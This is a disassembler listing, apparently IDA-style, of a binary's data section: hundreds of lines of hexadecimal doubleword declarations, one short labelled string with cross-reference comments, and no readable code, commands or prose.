		dd 4F73E100h, 0BEFD046h, 0F5F042h, 20228AE9h, 69FD331Ah
		dd 7EAFF800h, 0AE50674Bh, 5A600FEh, 8E687F92h, 5D007691h
		dd 69B98B6Bh, 416C8A0h,	0DFA6470h, 176D80FCh, 1800ED35h
		dd 1E05315h, 0F34A1Bh, 5CBC4C90h, 0A706E92Fh, 1600927Bh
		dd 0E1BF40C3h, 3D3FA6Fh, 0DCEE773Bh, 0D6F079D1h, 89006B55h
		dd 0CB193424h, 1CE348h,	26C321F1h, 17D851F2h, 0F4004690h
		dd 97F84176h, 0FCEC71h,	0B42DCB88h, 45B4FFFh, 5F73800h
		dd 0F4B1AF0h, 0F96E0027h, 331C930Dh, 2500ACC9h,	1A2CB03Bh
		dd 3A6607E2h, 785F29h, 0CF163778h, 317A9B9h, 0C603F5E4h
		dd 0BE70B73Ah, 0CB0EA835h, 55AC173Eh, 28E20242h, 860EFBAh
		dd 0CC253007h, 5D2C3088h, 66E400C2h, 5E64572Fh,	5009F6Eh
		dd 7E213FE9h, 493BDE7h,	0C5121BACh, 8A5090E1h, 6A121A5Ah
		dd 2E0F2997h, 8249200Eh, 0E63637h, 0A30515Ch, 0ACF91B58h
		dd 6CF65300h, 0C1D09173h, 176B033h, 0CE14FDFh, 0EB56923Bh
		dd 37B76D98h, 0D4CBC50Fh, 0A34E82E8h, 0BA1460E7h, 0E5551370h
		dd 640000DAh, 29A0B2Eh,	0E2211760h, 145AB288h, 0B0A48EA5h
		dd 7F93AC4Fh, 4B19A903h, 0ED4355C7h, 8CE3B040h,	0F58776h
		dd 238BBCEEh, 485BD8EBh, 0F06F150Eh, 0C2F1E0C7h, 0B764FD7h
		dd 5D07350Dh, 858BE100h, 980040FCh, 0D2BAC486h,	7A821F0Ch
		dd 17B0A072h, 102783Dh,	0D6188DDCh, 0C4AB90C5h,	20007DCAh
		dd 0F93AD36Bh, 38271992h, 1800228Bh, 853EEFE7h,	380058EEh
		dd 98E6E8C9h, 0EB9A8h, 84A246FFh, 1E9EF9ACh, 4B767E90h
		dd 25EA680Fh, 2045AFC7h, 0C83D3362h, 0ABF7FD88h, 405FEA2Bh
		dd 0ED2EA4h, 3CC267F7h,	78732D9Bh, 7B4D8E00h, 0A4921EBAh
		dd 6D3D01AAh, 365F96D4h, 0FC54D847h, 80BF2C39h,	0AF89F10Fh
		dd 0E8208BBh, 61331486h, 0C0167C64h, 1C4E4CD8h,	0EBBEC500h
		dd 52D3063Ah, 0D9E00091h, 6FA027D6h, 0C1EF343h,	10709A16h
		dd 9EEEA4h, 57830EB5h, 19D46C15h, 0B021ECB8h, 0C9EC800Bh
		dd 0C780D1BDh, 0E01258h, 3773FB4Fh, 939EBFh, 1FC036F1h
		dd 5FA849D1h, 66CE8600h, 0F5D8D9EBh, 65BC01F4h,	19A65B8Ah
		dd 32E18052h, 8BD0A87Bh, 98610099h, 856206B2h, 0A93C90B3h
		dd 0CD5101FEh, 0AACE49D9h, 2C70C0FBh, 0A01800ACh, 226427B0h
		dd 5203A65Dh, 7CD9B7FBh, 0DE30E8C7h, 0AB1F03DDh, 0E7847706h
		dd 2187B8B8h, 80A2E238h, 0AE81EC89h, 31BCD3h, 0A172B768h
		dd 0FBC846D4h, 0FDB28700h, 44ECEC5h, 70A0623Fh,	31E042B7h
		dd 0BB007492h, 0FD1608ADh, 6B77D6h, 78375D5h, 0B3234376h
		dd 0ED052200h, 0E7FFF252h, 0A6CC0071h, 0B2832962h, 200F98Ch
		dd 257D44C1h, 0EE1B52h,	0DEB44D7Ah, 95F16B76h, 4C34BB00h
		dd 4F32D86h, 18C87915h,	11D578A0h, 90B04AA7h, 902D6D00h
		dd 751D61CDh, 68090032h, 2C484FA8h, 0F30744D0h,	59024BCFh
		dd 2D761D30h, 3D290741h, 0F063F95Fh, 36690A6Bh,	28A0A205h
		dd 0D907E239h, 3E1F469Fh, 0C98A79C0h, 2F11434h,	0F339DC8h
		dd 1540E38Fh, 8C000891h, 50AF25Ch, 5D927Fh, 9968A6FBh
		dd 41A3FDF5h, 5352B507h, 0C730EC13h, 2832E7h, 0F297795Eh
		dd 520AF11h, 807307Ch, 0D719848Fh, 90614333h, 71F2D5h
		dd 0F1C5866Eh, 0F79197E3h, 0E849DB00h, 823B8E5Fh, 0CAB21F1Bh
		dd 0B7D0C07Ah, 0E98B1807h, 80518838h, 981DA5DBh, 3C7BC630h
		dd 0C79AC58h, 0F326A4FEh, 50009548h, 0A2A79888h, 54A1F2h
		dd 0D9DD46Bh, 0A5E3EB44h, 920043F8h, 2314BA8Ah,	7947F85Bh
		dd 26A3003Ah, 77520339h, 0CC01D8FCh, 0E6B62B90h, 43ECD0EDh
		dd 0D9C21F6Ah, 2F314061h, 40E3F80Dh, 79B04A12h,	803B9300h
		dd 3A27A5Bh, 34B8B552h,	73A024EFh, 0EE02192Ch, 0F9B9E6BDh
		dd 32274155h, 1F134C8h,	14A67147h, 303A6CE0h, 80000AEDh
		dd 82F4940Ch, 70744E1h,	0B8083D90h, 61569226h, 331DD487h
		dd 0D990E18Eh, 5D003BE6h, 0EA18010Ch, 0E00F4AECh, 39A72F8h
		dd 3D97DAB3h, 7A88C1D5h, 0D0003AA0h, 76A97301h,	1F5382F0h
		dd 402CAAB1h, 629BD9E2h, 4C00C91Dh, 6CC7642h, 275EE18h
		dd 16F82D2Bh, 0B0A0F94Eh, 3C1FD01h, 0BF86F400h,	0C6561AC2h
		dd 1C650180h, 2E40CA4Ah, 0F2AC8D9h, 0BC23AC00h,	99ADAAE0h
		dd 12F53A56h, 0AF8400F8h, 0CC7F5B4Dh, 2C00EA95h, 0DC2153B1h
		dd 1D9EC90Bh, 802D5CC3h, 0A3B243Ah, 0B7006AF9h,	0FAA54A21h
		dd 0DC8BC8h, 660D386Ch,	0E6E21058h, 2FE14E00h, 5670525Eh
		dd 0E3CF009Bh, 0F4FCC9B1h, 7C009FDEh, 0F54708D4h, 0BFB669h
		dd 0ED2A8F1Fh, 640DBA9h, 9737A000h, 8B60E608h, 22440F6Dh
		dd 0F5A016E2h, 0E03E5347h, 0B23F7100h, 67C5DF84h, 8D18008Fh
		dd 2AC70696h, 0D0C049BCh, 0CF277A58h, 66420053h, 0D2E03DFDh
		dd 0C0FE80Eh, 804425AAh, 3C79BAC1h, 0A1C7006Ah,	0A0F941D0h
		dd 7A0A3948h, 0D2469943h, 0C083E00Eh, 6A18D45Eh, 84FA1C04h
		dd 3313A3h, 4022B4B3h, 0F1E4E5E4h, 5D138890h, 0B01C980Dh
		dd 2381CF00h, 1DFF68DCh, 782CCFDh, 0AE72F378h, 7D9B8300h
		dd 0C202CD1Ah, 0A52DE312h, 0ED346049h, 5F5100EFh, 5D5643F1h
		dd 0C57F3CC8h, 2F078800h, 647D4E7h, 0BBEE1F4Ah,	993A0004h
		dd 3F878442h, 494C0900h
		dd 73BAAE6Dh, 854D1C2Dh, 0F46A81DEh, 0FD941E07h, 0EC4CC984h
		dd 7A7B2D51h, 28341100h, 6E36D09Eh, 4777C64h, 0C6E65E2Ch
		dd 0EF5CC395h, 31FD8788h, 4975603h, 0B8CEF860h,	949DBEh
		dd 263550A2h, 0FC527D08h, 4A9DB00h, 0BE8E1F78h,	94AF00B2h
		dd 0F83E864h, 7000CDA4h, 49CB6D9Eh, 4C506CC6h, 0D2008DE9h
		dd 93EF9D33h, 71005CE4h, 96BCD6D0h, 14ADFFh, 5F17B82Fh
		dd 0B41CF4B9h, 27F7D00h, 0BDC8AA3Dh, 63960085h,	358F09Eh
		dd 25765769h, 420C1800h, 3A43315Ah, 9A1200E7h, 461C9544h
		dd 2C0EC384h, 40B698B5h, 0A7702E39h, 0CC2100FAh, 6551BECEh
		dd 0AF0078C4h, 2DA19560h, 0ED71FFh, 0EC072344h,	92CDA877h
		dd 0A002EF0h, 0FAB0D26Ch, 74609B4Eh, 1973042Dh,	80554F6Bh
		dd 45CE2548h, 632C472Ch, 10F10Bh, 0C377B190h, 0EBB400E4h
		dd 3366E996h, 6E003B28h, 0EE8C6F1Ah, 997DA4h, 2C614AA3h
		dd 344C3887h, 36BECA00h, 7965CB5h, 3FC37686h, 921E2CDEh
		dd 4428C083h, 0D598DF68h, 0C71E761Fh, 0E83FFBC0h, 7A459Ah
		dd 1362D9CCh, 0D8226614h, 0E4917813h, 0FF5ED000h, 1C27EB56h
		dd 46131574h, 9863524Fh, 89F2DFF2h, 10651B30h, 0E65021E6h
		dd 39A27D9Ch, 6D003F7Ch, 0D9679E38h, 69601289h,	0FD7E7828h
		dd 0B67D00C2h, 0B8B70FDEh, 4490D74Dh, 98271B00h, 68CD9BF8h
		dd 0ED5C00BAh, 7076973Ah, 0F5306512h, 0ACEE36AEh, 0E5C8001Fh
		dd 193842C7h, 6058845h,	97AFF63Fh, 29738AC0h, 0DD020072h
		dd 0F38E0C86h, 22EA2566h, 33447400h, 5906FF4Bh,	23BE00CDh
		dd 0E1BB3E1Dh, 9F0097CCh, 0F13BF850h, 0F9D639h,	441B1851h
		dd 94BF1AC6h, 7BA29902h, 0E07FA79Ah, 907653F0h,	4F420040h
		dd 4505AD02h, 0EA00A45Bh, 0A34B70A5h, 0E97C79Ah, 0A8712E1Ch
		dd 1CA05EA9h, 0CB42F268h, 0FDBFC21Fh, 0B292B980h, 578ED8h
		dd 95C80B5Ch, 38FECED1h, 8402FA13h, 0DA3A2040h,	1EC406DEh
		dd 80B0F647h, 0C7A1B52Dh, 0A03A8509h, 20CE8FE7h, 74D4E0F2h
		dd 9ED5D1h, 7513A5CAh, 6FAF5D4Fh, 21ED0A00h, 0F0E01698h
		dd 0A77D0B04h, 68033CCCh, 0C8A5AB4Ah, 93005E04h, 0D959EA6Eh
		dd 0F685F0Ch, 0B3B0B6DBh, 26059FC0h, 0E0011D5Eh, 9A4DE1BDh
		dd 4EF8B98Dh, 0FCF0AAh,	0BD5BBD0h, 302BDA69h, 63786D00h
		dd 0B934B71Bh, 0FA2900ECh, 0E39F708Dh, 513E48EEh, 0DDA000E8h
		dd 0D11F116h, 9CBE1F0Ah, 4BB703BDh, 0AB64676h, 376CAD00h
		dd 54AA5E86h, 713CB87Eh, 2E9CBA03h, 16B153CDh, 0CC3A0011h
		dd 28945D34h, 83FC1301h, 0D22AAB43h, 0EDDCD9F9h, 2D753C9Ch
		dd 0FF97A380h, 3E8DEF6Fh, 0F4627A00h, 0EE0439E2h, 8F4A00A7h
		dd 0A15434ABh, 26009102h, 1C2436D8h, 29828AAh, 413CDAC3h
		dd 85FF8F70h, 0A844BAE1h, 434F24C4h, 9150E00h, 0A013BC7Dh
		dd 5BC8h, 0E6940669h, 30620123h, 0B5EA6BB7h, 781CD07Eh
		dd 585D7A0Fh, 1984B52h,	0E028260h, 0A3BEE8h, 5A128F88h
		dd 0FA7F4A57h, 87E7DF0Ch, 7BCE28A1h, 1450211h, 0A714677Ch
		dd 80487B62h, 0CA187894h, 9E805587h, 0B4083D6Fh, 40886881h
		dd 0DC8DFC50h, 37DB174h, 9F596B00h, 99338F46h, 7CE30F43h
		dd 0B8800E75h, 5B988670h, 8FB12500h, 8D04D989h,	1DB500D4h
		dd 20F8CB99h, 0EE032283h, 75CAA8C3h, 0A9579821h, 502D0058h
		dd 11EAF995h, 0BB019DACh, 9F86FFC1h, 0DCE088CAh, 0F43F0065h
		dd 942CD2D9h, 1600D64Ch, 0A8295D7h, 42919h, 89A57C48h
		dd 0B82A7EF5h, 0BA56D301h, 413B4E6Eh, 7D738ECh,	51A0BFF3h
		dd 363F70B9h, 0B4004A0Bh, 86B2527Bh, 3CF08A07h,	0AC8023D0h
		dd 7EFACE3Eh, 0FDA08BEBh, 0B83ABEA9h, 13740EA5h, 7A833D87h
		dd 80577B79h, 23E949h, 5AB1981h, 63D6DD34h, 16699500h
		dd 0C2C83291h, 0EEBE00DBh, 61120B9Dh, 8B72A69Fh, 0AC008FFCh
		dd 0FE092C8Eh, 0A3C236h, 502F1B60h, 0B505C828h,	5702B8E8h
		dd 3710B2E8h, 0FBD4E0F7h, 0DF92009Ah, 0AE7224CFh, 0E400BD60h
		dd 7E85EB4Fh, 7870B6Dh,	0A00325BFh, 0D577A3BBh,	0CCF44FE8h
		dd 0E9FF7400h, 0F80C165Dh, 7C103DEFh, 35074981h, 0FC7D42B4h
		dd 0C43E5D8Eh, 4D4A0032h, 0A1BDC58Dh, 45B7002Bh, 0ACE64C44h
		dd 0DC00A473h, 0C053214h, 0F63C625h, 0FD44AF53h, 83F93940h
		dd 3B006AB9h, 89DCF71h,	53D409h, 75A2E2A6h, 5FF9434Dh
		dd 10C4727Dh, 20885C40h, 0D06D00CBh, 0B3C477C6h, 0C00EE46Bh
		dd 0E0DD1F6Fh, 386517BDh, 2752396Ch, 0BC4FD580h, 0A53FBF6Dh
		dd 4D46F100h, 0A37B4A09h, 12404FFh, 80F5F730h, 3D8CE169h
		dd 0F2886E00h, 3560A37h, 3AA63C72h, 0B9D32A9Fh,	0B9459F87h
		dd 5DBD207Eh, 84009B25h, 549FEE3h, 3ECB1Eh, 0B777D68Ah
		dd 0AA64D8DCh, 0A9422B0Eh, 0C0AC5BA8h, 8D60A6h,	0D87E5D9Eh
		dd 0FF4820AEh, 0D0E7007h, 0E0834410h, 9578891h,	3D450197h
		dd 82FA763h, 0C8B8D73Bh, 0A50EC47Ah, 60046653h,	8E18E80Ah
		dd 57A1002Dh, 7ECD2F46h, 0AD0058CAh, 5D772744h,	1034BFh
		dd 47A1FB04h, 0C4958CB6h, 12392D00h, 3DF0705Bh,	0CD7C006Ch
		dd 2399E904h, 66003F27h, 17F9F4A5h, 1E294DB5h, 0F7EDC9h
		dd 0C0F8B17Ah, 0ABF4210Ah, 3F810100h, 609D22FCh, 467D0ED5h
		dd 52002EAEh, 0FA12EAD7h, 7013AB00h, 10979880h,	3E363051h
		dd 0D29F9B64h, 3BAC393Dh, 80CC3A6Eh, 0FFB7957Dh, 712A5DD5h
		dd 0ED0100E4h, 0CA33A56Bh, 0F8002CD8h, 48A267F5h, 0F13D5Ch
		dd 592BD38Ch, 0C0AB305Dh, 0C87AFF03h, 0E80EA3CFh, 0E41F2312h
		dd 487F0080h, 0EF347C61h, 0A400BCB7h, 0CD69F6A0h, 0EEDF4909h
		dd 0D5A10040h, 0B3D0DA8Ah, 3D009A88h, 0BA1A26A4h, 48FDFEh
		dd 64F9E21Eh, 78EBF713h, 0F2216000h, 6880751Ah,	387E4Ch
		dd 18DCAE3h, 73B1132Fh,	0A86B2228h, 0D6E4C419h,	4570B97Ch
		dd 0DB4800E9h, 794B216Eh, 804881E6h, 0B24F7A6Ch, 0E40243A8h
		dd 0A503BF82h, 643AEBE0h, 0F881A5Ch, 808C4C10h,	526EE42Dh
		dd 55960347h, 8720BDFDh, 0AF0716F0h, 1CCBC38h, 0F64B9D18h
		dd 98504AB5h, 984796C8h, 0E6FC50h, 0A20A3EBCh, 0CF458808h
		dd 9A10BE00h, 0B10F1A4Fh, 0B067E052h, 0BB15014Eh, 54CA58F4h
		dd 0A3309EC6h, 9D963284h, 37278AC0h, 0C4E0050h,	890EEF19h
		dd 0FE00FC48h, 0E5092576h, 3895D5A8h, 98801FBEh, 2CF7AC28h
		dd 3100C56Ah, 0DFC8492Ah, 0E90C68h, 0E67F6C4h, 7C1E9AB3h
		dd 0D6C01100h, 1F4866B6h, 0E625163Ah, 0A9CE015Ah, 0E8DB891Eh
		dd 0FC98104Eh, 9213ECEFh, 0B6F414F8h, 5C68DE00h, 328570CAh
		dd 499A0062h, 296ACD94h, 5A31D2FEh, 0E9809877h,	17CF0CC8h
		dd 2CDA4D1h, 0B55B9F79h, 4E000FFh, 89FD27h, 0FB16BC52h
		dd 0D961A77Eh, 0AF3520A0h, 0ACF05600h, 0D3E7EE1Ch, 71EC75h
		dd 0A87F4338h, 2ABB1D54h, 0A39C5B00h, 0FFB4594h, 487184CEh
		dd 6B7C43F6h, 5BEFF118h, 33B65219h, 4850E639h, 45B476A8h
		dd 41DF9A00h, 9672A371h, 4A900058h, 176F87D4h, 0FA0082FFh
		dd 0B8776514h, 0EA4644h, 0BB0398D9h, 600A1C7Eh,	0FEB21200h
		dd 4E33A720h, 137B3Fh, 0C0966124h, 1631EB8Eh, 0DF07E300h
		dd 0A259D05Dh, 1E860022h, 0F0DED3A0h, 0E00ADB3h, 5DC24DFFh
		dd 131A4F6h, 287FF1DDh,	0D0DE46D4h, 23016DA8h, 3F2CBB0Eh
		dd 80CA1DD2h, 0CE4387D0h, 0FA9307AFh, 51D6B8F8h, 0F8F46AE3h
		dd 73003A32h, 2C6935D5h, 50D724Dh, 1AE15CE0h, 0C58800A9h
		dd 0E41129ECh, 4B035471h
		dd 24AF8E8Ah, 60386151h, 40F2A67Dh
aSgu		db '≤┐НЙ',0             ; DATA XREF: ___:off_437A5Co
					; ___:off_437A74o
		db 0ACh, 8Fh, 0FBh
		dd 9907B35Eh, 0CA6E301Ah, 0EF499221h, 5C81D000h, 5A60AB79h
		dd 4D060298h, 929F0B70h, 45C9F680h, 40008133h, 9E0D5809h
		dd 1E628914h, 8DD110h, 3993BA4Ah, 5E00E2F6h, 403DCDCBh
		dd 9082E3Ah, 87326757h,	0A4980820h, 9F01B515h, 809C3B1Ch
		dd 0A0C08478h, 0E9563D39h, 0F741C504h, 207EC7EFh, 94B8A970h
		dd 779AD00h, 0C0DDFC42h, 9316267Ah, 1B500BEh, 44945673h
		dd 0DA770200h, 0B25BD6E0h, 9A470062h, 0DE8ADC97h, 2600A19Ch
		dd 0D289E33Fh, 0CDB1F5h, 764AA205h, 0F1E47AE6h,	0F9BB1300h
		dd 0D9402D37h, 0ED765Fh, 2CBAC378h, 0F6685C75h,	0CA0B100h
		dd 2D351867h, 0EBFD0058h, 56859E87h, 0F900A815h, 0E388FF38h
		dd 0E4D9106h, 0FBE21F8Eh, 37EF8A41h, 0C1D4F835h, 0F7E10200h
		dd 0D3598D84h, 4730C05h, 4220277Eh, 5E1EC118h, 38E091E8h
		dd 0A800A2A0h, 78B95085h, 2800F98Fh, 466D564Bh,	26939ED8h
		dd 69BD089h, 18028662h,	6F39BF2Ch, 31EA2300h, 1C529C11h
		dd 369A361h, 3EFD4EE7h,	7F15C2F7h, 2F81B9E0h, 774A3Eh
		dd 0BFB6368Dh, 3A9542B0h, 50603FF3h, 0EFC4021Eh, 0C7A0A501h
		dd 0C5AEBEDDh, 0C03388D0h, 0C90F1520h, 0F9009B47h, 0EBEF0D32h
		dd 3B67E451h, 7FE6F25h,	3F7CB809h, 3EECCEBCh, 0A067558h
		dd 55172CC2h, 0E45F28B8h, 7D8D00C1h, 159C7BFFh,	0C06E797Ch
		dd 6DFC021h, 8B2080h, 0CDF173ECh, 0D11874C2h, 0BF959003h
		dd 0E071A7EFh, 23893C9h, 5328F3A5h, 4C10FBEh, 1D55F040h
		dd 1EA8239h, 710946DCh,	84404FDAh, 58606A3h, 511A5878h
		dd 7C79C095h, 9B1CAFE8h, 0D8C0C6A1h, 0C5F24F9h,	8D7B1D0Fh
		dd 0D47649A2h, 0C0E16580h, 47041EBEh, 2543C782h, 9E0343C0h
		dd 55D900D6h, 63F06602h, 0A6002E70h, 4B33FDD1h,	31CEADh
		dd 24E8ED1Ah, 0D3DF2213h, 929F44Ch, 0E08FA9h, 0D530AE1Dh
		dd 0F7AD0069h, 1A4B63E4h, 673B84FDh, 0B7EE006Ah, 0A0BB10F5h
		dd 0C56B0435h, 80AEAB51h, 0D56D3C99h, 0D2850303h, 0C8803EB5h
		dd 23362h, 9447D11h, 5D15E32Fh,	0B1CD1200h, 27201E7Fh
		dd 699C001Dh, 8F34978Eh, 0E500B4DAh, 0B358B15Dh, 1F1BDB7h
		dd 2276CD1Eh, 0E0E3F208h, 5E7EC82Eh, 410BA5B8h,	9FD2DBh
		dd 0EE6FA09Eh, 2C5300DEh, 94A69851h, 460FD536h,	809149DFh
		dd 0BECD5C24h, 0ED270393h, 88C897DBh, 0E1441800h, 0CEB84611h
		dd 0E08B7079h, 9C9C0CBh, 0F844A0BDh, 9438B601h,	8F89391Ch
		dd 2F18C080h, 7092159Dh, 0EF107101h, 75196ECBh,	2426E830h
		dd 69802Bh, 37EE78AAh, 0C57D0AF5h, 7F6F140Ch, 37FBB21Ah
		dd 10A042E7h, 0CEC0D61Ch, 57E4B70Ch, 76DB80F1h,	0D01A0CA6h
		dd 0C1791978h, 0F3925000h, 1BC97CE1h, 0C75830B7h, 51EF4BB1h
		dd 178FDB00h, 0C84DFC5Ah, 456600A7h, 0C4BCC261h, 6F00BFFDh
		dd 35D6AF8Bh, 0FF3726Ah, 0A16765B2h, 0DA427380h, 0AA7075BAh
		dd 0FC86B3Eh, 58240F09h, 2661828h, 0DE61F16Dh, 0C407753Dh
		dd 40DF1FC8h, 78A13064h, 6A0095E4h, 4EFCD6E8h, 17C271B3h
		dd 38317Fh, 56085D3Ch, 9801CA12h, 0F7A4A397h, 0E706E82h
		dd 768F00A7h, 9F936C6Bh, 8A0169A1h, 0FA68E1E5h,	7EE5CC2Eh
		dd 746A0E0h, 7F202AD2h,	0EB297007h, 5D00B86Ch, 0B0BBD38Ch
		dd 0ECC4AD90h, 9CE90062h, 0D98A040Eh, 0A6FA85FFh, 189BB00h
		dd 0F5511830h, 0A176055Ah, 1A564F4h, 0A94F7195h, 5B8BD0F1h
		dd 814AEBA0h, 0AE28DD00h, 7FEE5505h, 5376DAh, 67170C15h
		dd 1B0297B7h, 0ADF8000h, 0A21E27D0h, 8B15000Eh,	81D99801h
		dd 1D000D23h, 53299BE1h, 0F521334h, 6A17C204h, 511CE680h
		dd 121D5B93h, 0CE8080F1h, 1A2995F7h, 0E6610146h, 72FB14E5h
		dd 64EADCB9h, 935B1209h, 9C9C00CDh, 3B7D4Ch, 59851676h
		dd 6AFE34Fh, 5374F0EDh,	0CC013Fh, 4917B615h, 989DA218h
		dd 4A5A3C89h, 0FCF2E860h, 9200B9AFh, 0C962D22Dh, 3BDAD5h
		dd 4F145BEDh, 0F4970AC4h, 8688E200h, 25510EB9h,	7A6D1E9Ch
		dd 0A003E81h, 0C8E78C4h, 0D200B1A1h, 975F508Ch,	903E868Ah
		dd 80AA3C5Dh, 68B30D00h, 0AE6CF151h, 0B0B52B00h, 0F2C9FEAh
		dd 70890032h, 1B20E335h, 0D800474Fh, 91135E87h,	7B0CB46h
		dd 85A59E8Fh, 0EB390055h, 0B100CFD6h, 0D23D267Dh, 768DE5h
		dd 7F40BDACh, 37EB7E54h, 0FE462E00h, 0EFAB8ACAh, 7692F630h
		dd 0ED3100D6h, 0C1F78E1Dh, 0AD1EE714h, 2C4008D2h, 0BAA2B7FEh
		dd 0AF600ABh, 7E2E1967h, 9101B0E7h, 0E0275B31h,	1DC3D6Dh
		dd 0C2BC0089h, 0DF9FB63Eh, 0E703ADDAh, 5B6BD35Eh, 6A1000DEh
		dd 69269E35h, 0EF04D42Bh, 1ACBF5ACh, 0A6AED9C0h, 1F057FB6h
		dd 8021B9B4h, 97843A4Bh, 71F8E9F9h, 0C5A63Dh, 0B4EEEB5h
		dd 8D886Ah, 7AC8038Fh, 49F38143h, 943A7201h, 24A261FFh
		dd 0B0F9F8h, 0C68E33BCh, 468FB756h, 0CF8AD703h,	0E155C270h
		dd 35E47495h, 0A879013Ah, 0FFD3B8C7h, 8F6BD41Eh, 5B7DCD00h
		dd 521C7BDDh, 7E970215h, 0B22B328Bh, 0C0B48C81h, 2F5C3089h
		dd 8331F11Eh, 580A6407h, 0C313ABC0h, 43380F59h,	6081C5CDh
		dd 0D47F6104h, 660094EEh, 89BCF5E0h, 19990h, 914FFDCFh
		dd 0AE66AD3h, 820334FAh, 774996F4h, 9F9BC008h, 90BB50EBh
		dd 0A6D60009h, 0C70CA35Dh, 0C3137E35h, 0CE0083D2h, 391A98A5h
		dd 570B0046h, 50FA09B6h, 9900E64Dh, 6FF8D448h, 0F5DBCDh
		dd 91FF551Dh, 3B1A497Ah, 0A643FE03h, 88B0DE7Fh,	0D5DD8Ah
		dd 0B894751Eh, 1D345BCAh, 840F8D77h, 60739CFFh,	5612E017h
		dd 0A8184D9Dh, 7716712h, 0B05708E1h, 0B990DF94h, 0AD5BE500h
		dd 5448B2F4h, 0B8EF0043h, 8C991231h, 9AB04923h,	0F14EC200h
		dd 2CAF337Ch, 0C1CF008Bh, 2A5B5379h, 0A600DD4Dh, 0B027EE7Ah
		dd 0F8A9CDBDh, 1B87CD1h, 74F1ACE4h, 0EC3F1CF7h,	46089FBh
		dd 32350E20h, 0C7060F8Ch, 44BEFA7Dh, 80BA0F9Ch,	8452B291h
		dd 0B40172E0h, 71F3732Ah, 3E307AC9h, 9D090164h,	0EF9AB10Eh
		dd 0C145C8D6h, 6B46860Eh, 0DD7C8090h, 0DB5E04h,	143F2DB5h
		dd 97A348D6h, 0C23B5600h, 0F1B15BDAh, 0B07000D5h, 22D0278Ch
		dd 9D00E3DEh, 0E0978A07h, 44A14Eh, 0EC91D3CAh, 9289BA4Ch
		dd 93A6072h, 0AA680E2h,	7F7CAC79h, 99FA00D7h, 4FDD9CBAh
		dd 3F00E9F1h, 1CFBC3A7h, 54C766h, 0AC0E1FEEh, 9EB190A0h
		dd 0B0B2E812h, 11073C00h, 94424Fh, 58D1FF70h, 0F5236114h
		dd 0C2355E12h, 60EC0700h, 3F956Dh, 59191091h, 42ADC61h
		dd 15F0BC00h, 369CE35Ah, 58DF3AB0h, 0A36FF060h,	50055B4h
		dd 25897EDDh, 0A07F177h, 9411C1B9h, 761B0293h, 49E00AB1h
		dd 0E4394462h, 9EB9024Bh, 0FD9F1391h, 16A0E100h, 0C202DD72h
		dd 94DED0D2h, 0ABA64005h, 0F7BE032Bh, 37A803B4h, 80D3203Bh
		dd 1457666Bh, 65DEF4h, 71E1328Eh, 8040971Dh, 0B6BC1300h
		dd 0AB5B8C6Eh, 2CDB004Ch, 0CB380D15h, 92005676h, 1F2D9324h
		dd 0AEE7A5h, 40467B22h,	48CA80FEh, 548B4301h, 0EC958613h
		dd 0C8DFC731h, 583D9D3h, 1DB798A0h, 88001CEh, 20E8D27Ch
		dd 0D3030762h, 32CCEDC8h, 0AF87F097h, 695B00FCh, 4B9D20B5h
		dd 0D1DEA25h, 88C67E6h,	313FAA5h, 0B43A6EACh, 7BF04E18h
		dd 6D2E6936h, 8B004461h, 0BE607EC6h, 27DE009Eh,	0E4410113h
		dd 0B700B043h, 0D61A7C6Eh, 702163Ch, 8CAA5AFEh,	77680DBh
		dd 0D200A848h, 816FE6A9h, 39CF2369h, 0BA80D9A5h, 24978EC0h
		dd 7D26621Bh, 0CB051867h
		dd 9201EED4h, 0E36BA7E4h, 57B4DCh, 85DCB712h, 961C0E33h
		dd 0D3759703h, 0B8C7DE4Ah, 0E7A614F2h, 0C3188853h, 35510037h
		dd 0DAB67CBCh, 0E10E43C6h, 6BE3F9ABh, 0B594A1D8h, 0C4803D52h
		dd 9C491BA4h, 0E000D1A2h, 24D4850Ch, 0DB4758h, 2AC6E6F2h
		dd 96CBD989h, 8B051900h, 8CF67F85h, 38E9F659h, 0F93E176Bh
		dd 92B29800h, 1248F53Eh, 0F2015E70h, 1A9914E0h,	0D4249F7Eh
		dd 0E8AC1C2Fh, 389227h,	18A36529h, 700140CCh, 0ABFEA0A7h
		dd 62DC50B4h, 0A8BA00F9h, 93491C0Bh, 0F600AF85h, 0DBF3FA51h
		dd 3DFE6Fh, 0EFAC4E39h,	0E82F8405h, 0E29A8500h,	1C49C7F6h
		dd 1220008Eh, 6E5E2D5Ch, 0F01B8CB7h, 0A841A679h, 0BF0960h
		dd 0BDD63D2h, 26B462E9h, 28C9C700h, 94AE0457h, 87D09F7h
		dd 58408C34h, 8F3E0E6Ah, 211B8340h, 1CCB6C82h, 40018D51h
		dd 0B56EF99Dh, 6B03A639h, 0C49ADC1Ah, 62BC88C6h, 1CFAEA19h
		dd 0DE73A060h, 36B40F6h, 7A6FDA3Eh, 71241218h, 49B2C568h
		dd 1800F427h, 0BE25A467h, 0B8003D7Eh, 49E69975h, 0FEEAE28Bh
		dd 0DA6017F9h, 0BE320161h, 0D9627D3Eh, 35B8502Ah, 11343A8h
		dd 0E60117B9h, 349C3C53h, 0D7BCF4h, 431B2821h, 146E248Ch
		dd 2307D400h, 838037E9h, 30400B6h, 42A796FDh, 3B00F07Bh
		dd 0D8E04C4Bh, 0DC8B9C74h, 3895FBF8h, 0CC009077h, 0B6545C9Bh
		dd 0A902F25Eh, 0E6DCFA3h, 3E688053h, 9F1102h, 15989549h
		dd 0CA0A60DCh, 0E7EEBF00h, 0C85F0362h, 0D779004Eh, 568C8591h
		dd 114C8399h, 0A7982E19h, 6FA40D00h, 77131Eh, 4E400A53h
		dd 54CF33Ah, 195A3500h,	6E69F8D1h, 4D7D0024h, 0D4451148h
		dd 0E9005429h, 5F99D0BEh, 75CA5Ah, 780C257Ch, 0C4A22467h
		dd 0C984EF04h, 7C5C19Bh, 0BA013380h, 59F20E44h,	9C602B6Fh
		dd 0D80CC3DBh, 0F0E60400h, 0BDFA97CCh, 5A6A00F6h, 0FBD22A41h
		dd 0F83B17C2h, 0D05831DDh, 47C48A8Fh, 0C3830342h, 0FCF709A0h
		dd 215A5EE0h, 0A30EAF1Eh, 0F3608Bh, 0B8C69D00h,	7C8138CCh
		dd 0FE5FC580h, 0A51311C0h, 28E8CE5Ah, 0D8845960h, 7E76D6CDh
		dd 0DA5B3C00h, 47570485h, 5FC8C089h, 0B2EE5DFh,	750907Fh
		dd 0F67CA11Ch, 0A59FFC00h, 4D170126h, 3D1E222h,	0A3D5AEF0h
		dd 0B8B07BBh, 441408A8h, 0B7002BE4h, 0FD569B1Ch, 69EB0Eh
